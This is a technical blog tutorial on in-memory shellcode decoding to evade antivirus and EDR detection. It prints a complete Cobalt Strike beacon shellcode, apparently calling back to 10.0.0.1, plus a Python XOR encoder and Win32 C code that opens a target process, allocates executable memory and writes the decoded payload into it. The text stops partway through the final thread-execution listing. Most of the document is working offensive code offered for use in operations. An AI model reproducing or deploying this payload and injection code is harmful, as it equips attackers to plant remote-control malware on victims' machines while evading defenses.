In-Memory shellcode decoding to evade AVs/EDRs

Estimated Reading Time: 9 minutes

During the previous week, I was doing some research about win32 APIs and how we can use them during weaponizing our attack, I already did some work related to process injection in the past, but I was looking for something more advanced and to do an extra mile in process injection.

So, I took my simple vanilla shellcode injection C implementation and tried to take it to the next level by implementing a decoding routine for it and make sure that my shellcode will be written in the memory in an encoded way then it will be decoded later on runtime.

The vanilla process injection technique is very simple to use and to implement, you just need to Open the process you want, Allocate space on that process, Write your shellcode then execute it.

We will do almost the same thing here but I will encode my shellcode before by writing a simple python script to encode my shellcode, then, later on, we will let the C code decode that in runtime then write each byte in the memory after allocating the space we want.

Also, I will dig deeper inside some of WIn32 APIs and explain how each one is executed at low level.

process injection 101

As I mentioned before the vanilla process injection technique will do the following:

  • Open a process and retrieve a HANDLE for that process.
  • Allocate Space in the remote process (retrieve a memory address).
  • Write the data (shellcode) inside that process.
  • Execute the shellcode.

We can perform these steps with a couple of Win32 APIs which are:

In the normal case, we will write the raw data “shellcode” directly to the memory as it is, but if the shellcode is detected by AVs/EDRs they will definitely raise an alert about that, so, we need to encode our shellcode and save it as encoded shellcode inside our binary, then, we need to decode it and write it to the memory to avoid detection.

Shellcode encoding

We need to encode our shellcode to avoid detection as I mentioned before and to do that, we need to modify that shellcode in a reversible way that could be used to retrieve the original status of our shellcode, and we can do that by performing some changes on each opcode such as:

  • XOR
  • ADD
  • Subtract
  • SWAP

I will use XOR bitwise operation on each opcode of my shellcode, I will use Cobalt Strike beacon as my shellcode, and it will be the following shellcode:

/* length: 887 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2";

And the following code will be our encoder:

#!/usr/bin/python

import sys

raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"

new_shellcode = []
for opcode in raw_data:
        new_opcode = (ord(opcode) ^ 0x01)
        new_shellcode.append(new_opcode)


print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

This script will read each opcode of our shellcode then it will xor it with the byte 0x01 which is our key in this case, then it will append each encoded opcode into a new list and finally, it will print it as a shellcode like the following:

We got the encoded shellcode after running the script, we are ready now to move on.

We will now start implementing the C code that will perform the shellcode injection for us, I will walk through every win32 API to explain that.

Open process and retrieve a handle

We need to choose a process to inject our shellcode to it, and to do that, we need to retrieve a handle for that process so we can perform some actions on it, and to do that, we will use OpenProcess win32 API using the following code:

#include <windows.h>


int main(int argc, char *argv[]){

  // The PID that you want to use
  // You can use GetCurrentProcessId() to get the current PID
  int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
  }else{
    printf("[-] Enable to retrieve process handle\n");
  }

}

This code will take the process id that you want to get a handle for as a first argument to the code, then it will use OpenProcess() with PROCESS_ALL_ACCESS access right to open the process and save the handle in the variable process and finally, it will print the handle for us.

The OpenProcess() function actually takes 3 parameters you can check them via this page.

Also, You can check all access rights from this page.

And after compiling the code and run it to retrieve the handle of the process “explorer.exe” with pid 4032, we will get the following:

We retrieved the handle successfully.

Allocate space on the remote process

Next step after retrieving the handle will be Allocating space inside that process, we can do that using VirtualAllocEx() using the following code:

#include <windows.h>


int main(int argc, char *argv[]){


   char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

I added some data in line #7 as a dump data (will be replaced with our shellcode), we should have it to allocate the memory based on its size.

In line #25 we declared a variable called “base_address” as LPVOID which will represent the base address of the allocated memory.

And in line #26 we use VirtualAllocEx() and pass the following parameters for it:

  • process: which is the handle that we retrieved earlier using OpenProcess()
  • Null: to make sure that the function will allocate address automatically instead of using one that we know.
  • sizeof(data): the size of the data that will be written to memory.
  • MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE: the allocation type that we want to use, which describe what we want to do inside that allocated region of memory which is read write execute (RWX)

Allocating memory region with RWX it’s not very stealthy, and the EDRs could consider it as suspicious action.

And finally, in line #29 we will print the address of the allocated memory, which we will write our data on, and by running the code we will get the following:

We got the address “0xa50000” as our base address.

Let me explain that more and tell you what that address exactly means, and to do that, I will attach my debugger to explorer.exe and see what we have at that address:

Then I will go to the address “0xa50000” like the following:

Choose expression and enter the address:

To get the following results:

As we can see, the function VirtualAllocEx has allocated memory space in explorer.exe for us and we are ready to write our data.

Write data to memory

Now here is the most important part of our technique, we will decode the original opcodes and write it directly to memory, we will do that by start writing our data from “0xA50000” and increase the address one by one reach the next memory address.

We used xor to encode our shellcode, now we will use the same value to decode each byte and retrieve the original status of each opcode, and that is an example about this operation:

hex(ord("\xfc") ^ 0x01) # = 0xfd
hex(ord"\xfd") ^ 0x01) # = 0xfc 

So by XORing each opcode with 0x01, we will retrieve the original shellcode but this time without getting caught via static analysis (signature-based) detection by AVs/EDRs because it will be written directly to the memory in runtime.

Even with this type of encoding your payload may get flagged, so make sure to use stronger encoding and test it before using in your operation.

The following code will achieve that for us:

#include <windows.h>


int main(int argc, char *argv[]){



   unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);
        
        				// Data chars counter
				int i;

				// Base address counter
				int n = 0;


				for(i = 0; i<=sizeof(data); i++){

					// Decode shellcode opcode
					char DecodedOpCode = data[i] ^ 0x01;

					// Write the decoded bytes in memory address
					if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){


						printf("[+] Byte wrote sucessfully!\n");

						// Increase memory address by 1
						n++;
					}
				}
        

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

This code will write our shellcode in memory after decoding each byte of it with our key “0x01”, as we can see in line #39 I used a for loop to move on each element of our shellcode, then in line #42 I XORed each element with 0x01 to retrieve the original opcode, and in line #45 I wrote that decoded byte to a specific location in memory and finally in line #51 I move the n counter which is the memory counter to the next memory address to decode and write the opcode to.

The WriteProcessMemory() took the following parameters:

  • process: which is the handle that we retrieved earlier using OpenProcess()
  • base_address+n: which is the address that we want to write our opcode to (base_address retrieved from VirtualAllocEx) and n is the counter to move to the next address.
  • &DecodedOpCode: the address of our DecodedOpCode byte.
  • 1: the number of written bytes which is only one byte.
  • Null: Because we don’t have a pointer to receive the number of written bytes.

You can check the parameters that the WriteProcessMemory takes from this page.

After compiling the program and run it, we will get the following:

As we can see, we get each byte wrote in the desired address that we want, now, let’s debug that using x64dbg and go to the address “0x2ec0000” to get the following:

As we can see, our original bytes were written to the addresses that we want starting from 0x2ec0000 and everything is working very well!

Executing the shellcode

Finally, we need to execute the shellcode as a thread, and to do that, we can that using CreateRemoteThread() function using the following code:

#include <windows.h>


int main(int argc, char *argv[]){


   unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\